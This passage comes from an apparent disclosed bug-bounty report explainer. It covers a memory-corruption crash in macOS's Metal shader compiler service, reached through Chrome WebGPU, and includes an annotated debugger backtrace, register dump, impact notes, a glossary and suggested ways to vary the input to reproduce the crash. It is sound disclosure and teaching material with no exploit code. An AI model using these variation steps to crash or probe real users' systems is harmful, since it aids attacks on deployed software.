    frame #29: 0x0000000189919bec libdispatch.dylib`_dispatch_mach_invoke + 472
    frame #30: 0x000000018990fe34 libdispatch.dylib`_dispatch_root_queue_drain_deferred_wlh + 284
    frame #31: 0x000000018990f734 libdispatch.dylib`_dispatch_workloop_worker_thread + 720
    frame #32: 0x0000000189ab3ec0 libsystem_pthread.dylib`_pthread_wqthread + 292
(lldb) register read
General Purpose Registers:
        x0 = 0x0000000108f803f8
        x1 = 0x0000000000000015
        x2 = 0x0000000000000017
        x3 = 0x0000000108f801c8
        x4 = 0x0000000108f80b70
        x5 = 0x0000000000000000
        x6 = 0x0000000100000004
        x7 = 0xfffff0003ffff800
        x8 = 0x0000000346fabb80
        x9 = 0x0000000108f80a58
       x10 = 0x0000000108f80b80
       x11 = 0x0000000000000000
       x12 = 0x0000000000000000
       x13 = 0x0000000000000015
       x14 = 0x0000000000000001
       x15 = 0x000000000000000a
       x16 = 0x5d16800189ac1090 (0x0000000189ac1090) libsystem_platform.dylib`__bzero
       x17 = 0x00000002a34179c8
       x18 = 0x0000000000000000
       x19 = 0x0000000108f801c8
       x20 = 0x0000000108f80058
       x21 = 0x0000000108f80b70
       x22 = 0x0000000000000017
       x23 = 0x0000000000000015
       x24 = 0x0000000108f803f8
       x25 = 0x0000000000000015
       x26 = 0x0000000008f80ac0
       x27 = 0x0000000108f80838
       x28 = 0x0000000008f80ac0
        fp = 0x0000000108f800f0
        lr = 0xf02c80024d2ebc44 (0x000000024d2ebc44) libLLVM.dylib`llvm::FlowAnalyzer::analyze(llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&, llvm::MachineLoopInfo const&, llvm::GPUFlowEmitter const*

How to read it:

  • bt is the debugger command for "backtrace", the list of calls.
  • stop reason = EXC_BAD_ACCESS (code=1, address=0x346fabb90) is the reason the program stopped: it tried to read or write memory at a very high address that is not mapped, meaning nothing valid lives there.
  • frame #0 is where the crash actually happened: a function called llvm::FlowAnalyzer::evaluateSkipTargets inside libLLVM.dylib. The * marks it as the current frame.
  • frame #1 and frame #2 show that this function was called from FlowAnalyzer::analyze and the FlowAnalyzer constructor. In plain terms, the compiler was analysing the flow of the shader, working out which branches lead where, and that analysis is where it broke.
  • frame #4 to frame #7 show this analysis runs as one of many automated passes over the code (MachineFunctionPass, FPPassManager, PassManagerImpl). A compiler works in stages, like an assembly line, and this is one station on the line.
  • frame #10 to frame #15 are inside AGXCompilerCore, Apple's code that plans and produces the final machine code for Apple GPUs.
  • frame #16 to frame #21 are the Metal compiler's own plumbing, receiving the request and passing it down.
  • frame #22 and frame #23 are MTLCompilerService itself: compileRequestMain and the message handler that receives the incoming XPC message.
  • frame #24 and frame #25 are in libxpc.dylib, the XPC library, showing the call arrived as an XPC message from another process.

So the trace reads from the bottom up as: a message arrived over XPC, the compiler service picked it up, passed it down through the Metal compiler into Apple's GPU code generator, which ran a flow-analysis pass, and that pass touched bad memory.

After the backtrace, the researcher printed the CPU registers:

  • register read asks the debugger to show the contents of the processor's registers, the tiny fast storage slots the CPU uses while working.
  • pc is the program counter, the address of the instruction being executed. It points at evaluateSkipTargets, matching frame #0.
  • lr is the link register, which holds the address to return to when the current function finishes. It points back into FlowAnalyzer::analyze, matching frame #1.
  • x7 holds 0xfffff0003ffff800, a value the researcher recorded alongside the rest.

Why it happens

The crash is in the Metal compiler's flow analysis, specifically in llvm::FlowAnalyzer::evaluateSkipTargets, while it works out the control graph of the compiled shader. A control graph is a map of the shader's branches: which block of code can jump to which other block. The analyser walks that map, and here it walked off the edge.

The report does not say which of these ingredients is the actual trigger, nor what wrong value the analysis computed. It establishes only that this input reaches the faulty code and produces an out-of-bounds access at a high address.

Chrome's own translation is not where the fault happens. The crash is in the platform compiler that receives the MSL. And because that compiler runs as a separate process reached over XPC, the failure stays inside MTLCompilerService; Chrome only notices that its postal connection was interrupted, which is the XPC_ERROR_CONNECTION_INTERRUPTED message in the developer console.

What it means in practice

A page that compiles this shader can crash MTLCompilerService on the affected macOS Chrome build. The report describes the effect as a crash of the compiler service, not as code execution, and does not claim any further capability. The GPU process survives, but the XPC connection to the compiler is cut, and that is what the page sees in the developer console.

Fix

The report does not describe a fix or a change made in response. It records that the same issue was also reported to Apple Security Research under reference OE1106044528210, which fits the fault being in the platform compiler rather than in Chrome's WGSL front end.

If you want to explore this kind of bug yourself, these are the directions the researcher lists. In each case, a positive result means the same crash signature, an EXC_BAD_ACCESS in FlowAnalyzer::evaluateSkipTargets inside MTLCompilerService.

  1. Vary the switch structure: change the number and order of cases, move the return to a different case, or remove the default branch, and compile each variant.
  2. Vary the operations inside the branches: replace the division s = s / u with other arithmetic on the uniform and storage variables, and replace the assignments in the second switch. A positive result is a crash in the same flow-analysis frames rather than a clean compile.
  3. Change how often the function is called from the entry point, for example calling foo once or three times instead of twice. A positive result would show that the duplication of the control flow matters.
  4. Try the same shape in other shader stages, such as a fragment or vertex entry point with equivalent branching. A positive result is a crash in the same compiler pass for a different pipeline type.
  5. Test on other Apple GPUs and macOS versions. A positive result is the same crash signature on hardware other than the M4 used here.

This kind of bug hides at the boundary between a browser's shader translation and the platform compiler it delegates to. The signal during testing is a GPU process that stays alive while the developer console reports XPC_ERROR_CONNECTION_INTERRUPTED, which points at the out-of-process compiler rather than at Chrome itself. Attaching lldb with --wait-for to the compiler service before loading the page is what turns that vague symptom into a stack trace and a faulting address, and the trace is what shows the fault is in the compiler's flow analysis rather than in Chrome's code. Reporting the same input to the platform vendor as well as to the browser programme follows from where the fault sits.

Glossary

  • WebGPU: a browser feature that lets web pages use the graphics card for computation and drawing.
  • Shader: a small program that runs on the graphics card.
  • WGSL: the WebGPU Shading Language, the language web pages write shaders in.
  • Tint: Chrome's translator that converts WGSL into the language Apple's graphics system uses.
  • MSL: Metal Shading Language, Apple's shader language.
  • Metal: Apple's graphics technology and its compiler toolchain.
  • MTLCompilerService: a separate macOS background service that compiles Metal shader code into machine code.
  • XPC: Apple's mechanism for one program to send messages to another program on the same machine.
  • GPU process: the part of Chrome that communicates with the graphics card.
  • Memory corruption: a bug where a program reads or writes memory it should not touch, usually because of a miscalculated address.
  • SIGSEGV: the signal the operating system sends when a program accesses memory it is not allowed to access.
  • EXC_BAD_ACCESS: the macOS name for the same kind of fault, shown by the debugger as the stop reason.
  • Stack trace / backtrace: the list of function calls leading to the point where a program stopped.
  • Frame: one entry in a stack trace, representing one function call.
  • Debugger: a tool that lets you pause and inspect a running program.
  • lldb: Apple's debugger.
  • Register: a small, fast storage slot inside the CPU.
  • Program counter (pc): the register holding the address of the instruction currently executing.
  • Link register (lr): the register holding the address to return to after the current function finishes.
  • Control graph: a map of which blocks of code in a program can jump to which other blocks.
  • Flow analysis: the compiler stage that studies that map to understand how execution can move through the code.
  • Compiler pass: one stage in a compiler's assembly line of transformations and analyses.
  • libLLVM.dylib: a compiler library used inside the Metal compiler.
  • AGXCompilerCore: Apple's code that generates machine code for Apple GPUs.
  • Uniform: a shader variable whose value is supplied from outside and stays constant during a run.
  • Storage buffer: a shader-accessible memory area that can be read and written.
  • Binding: a numbered slot through which a page supplies a variable to a shader.
  • Workgroup: a group of shader invocations that run together; @workgroup_size(1u) means a group of one.
  • Compute shader: a shader that performs general computation rather than drawing.
  • Out-of-bounds access: reading or writing memory outside the intended region.
  • Code execution: the ability for an attacker to make a machine run their own instructions; not claimed here.
  • Chrome VRP: Google's Chrome Vulnerability Reward Program, which pays for security reports.
  • CVE: a public identifier assigned to a known security vulnerability.
  • Bounty: the money a bug bounty programme pays for a valid report.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.